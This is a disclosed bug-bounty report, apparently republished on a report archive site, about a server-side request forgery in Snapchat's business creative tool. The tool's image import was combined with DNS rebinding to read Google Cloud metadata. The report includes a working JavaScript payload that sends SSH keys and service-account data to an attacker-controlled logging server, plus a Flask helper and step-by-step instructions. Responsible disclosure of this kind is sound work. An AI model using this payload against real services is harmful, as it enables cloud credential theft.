Skip to content
SSRF Disclosed report Advanced

Server-Side Request Forgery using Javascript allows to exfill data from Google Metadata

The image import feature of Snapchat's business creative tool fetched a user-supplied URL server-side without restricting internal addresses. By combining that fetch with DNS rebinding, the researchers made the server read Google Cloud metadata endpoints and return SSH keys, service-account details and the instance hostname.

Ben Sadeghipour Follow with daeken and ziot

Originally disclosed on HackerOne

  • Triaged in 13 hours
  • Fixed in 3 months
  • Paid in 23 days
  • Disclosed after 20 months

Summary by the program

@nahamsec, @daeken and @ziot found a Server-Side Request Forgery (SSRF) vulnerability in https://business.snapchat.com which they exploit by providing a custom webpage configured to utilize DNS rebinding to access internal web endpoints like the Google Metadata Service. Using this they are able to mint tokens for the service-account assigned to the instance hosting the Chrome instances used for extracting webpages assets for media projects.

The report

Hey there, I was looking at your ads site with @daeken, we found some weird behavior in the import function of the creative app. Here are the steps:

#POC

  • Login to https://business.snapchat.com/
  • Go to creative library -> New Creative
  • Under "Topsnap Media", click on "Create"
  • Click on any of the templates and load it
  • Click on one of the images in the template -> Replace -> Import
  • This is where the SSRF exists. Where you fetch images for your creative (/api/v1/media/import)
  • Run this somewhere publicly accessible:
from flask import Flask, request
from flask_cors import CORS
from time import sleep

app = Flask(__name__)
CORS(app)

import logging
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)

@app.route("/")
def helloWorld():
        sleep(3)
        return 'hi!'

@app.route('/log')
def log():
        print request.args['msg']
        return ''

app.run(host='0.0.0.0')
  • Put this on another domain you control. Change demon.██████████ to the host where you put this html file, and change ssh.████ to the host you're running the timing script (above) on.
<script>
var logTimeServer = 'ssh.█████';
var attackServer = 'demon.██████';

function log(data) {
    var sreq = new XMLHttpRequest();
    sreq.open('GET', 'http://' + logTimeServer + ':5000/log?msg=' + encodeURI(data), true);
    sreq.send();
}

function get(url) {
    try {
        var req = new XMLHttpRequest();
        req.open('GET', url, false);
        req.setRequestHeader('X-Google-Metadata-Request', 'True');
        req.send(null);
        if(req.status == 200)
            return req.responseText;
        else
            return '[failed status=' + req.status + ']';
    } catch(err) {
        log(err);
    }
    return null;
}

log('Triggered in ' + window.location.href);

for(var i = 0; i < 60; ++i) {
    log('Loop ' + i);
    var req = new XMLHttpRequest();
    req.open('GET', 'http://' + logTimeServer + ':5000/', false);
    req.send();
}
log('SSH Keys: ' + get('http://' + attackServer + '/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json'));
log('Service Accounts: ' + get('http://' + attackServer + '/computeMetadata/v1/instance/service-accounts/?recursive=true&alt=json'));
log('Hostname: ' + get('http://' + attackServer + '/computeMetadata/v1/instance/hostname'));
</script>
  • Now hit /api/v1/media/import on ads.snapchat.com, with the URL parameter http://demon.███████/ssrf.html (or wherever you run it)
  • Immediately after requesting ssrf.html, switch the DNS on the domain to point to 169.254.169.254, and wait 3 minutes. ssrf.html needs to be running on port 80, that way when the DNS changes, it starts talking to the metadata service.

Impact

#SSH Keys:

SSH Keys: "██████"

#Hostname: █████████

The original report as published on HackerOne, by nahamsec. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the import endpoint fetched arbitrary user-supplied URLs without validating the destination or blocking link-local and metadata addresses.

Impact

The attacker could read cloud metadata from the rendering instances, including SSH keys and service-account information, and use it to mint tokens for the assigned service account.

What the attacker needed

Attacker-controlled domain; DNS control to rebind

How it was found

  1. Log in to the business site and open the creative library to start a new creative.
  2. Choose a template under the media section and load it.
  3. Select an image in the template and open the replace/import flow.
  4. Host a page on a domain you control that makes requests to the metadata address with the metadata header.
  5. Submit that page's URL to the import endpoint, then repoint the domain's DNS to the metadata IP and wait.
  6. Read the logged responses, which include SSH keys, service accounts and the hostname.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you paste a link into a site, the site's own server may go and download it for you. If that server sits inside a private network, an attacker can point the link at internal addresses that outsiders cannot normally reach. Here the internal address was a cloud metadata service, a special internal page that hands out credentials to whatever machine asks.

What is SSRF?

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.

More by Ben Sadeghipour

View all

24 more disclosed reports, best first.

More from Snapchat

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.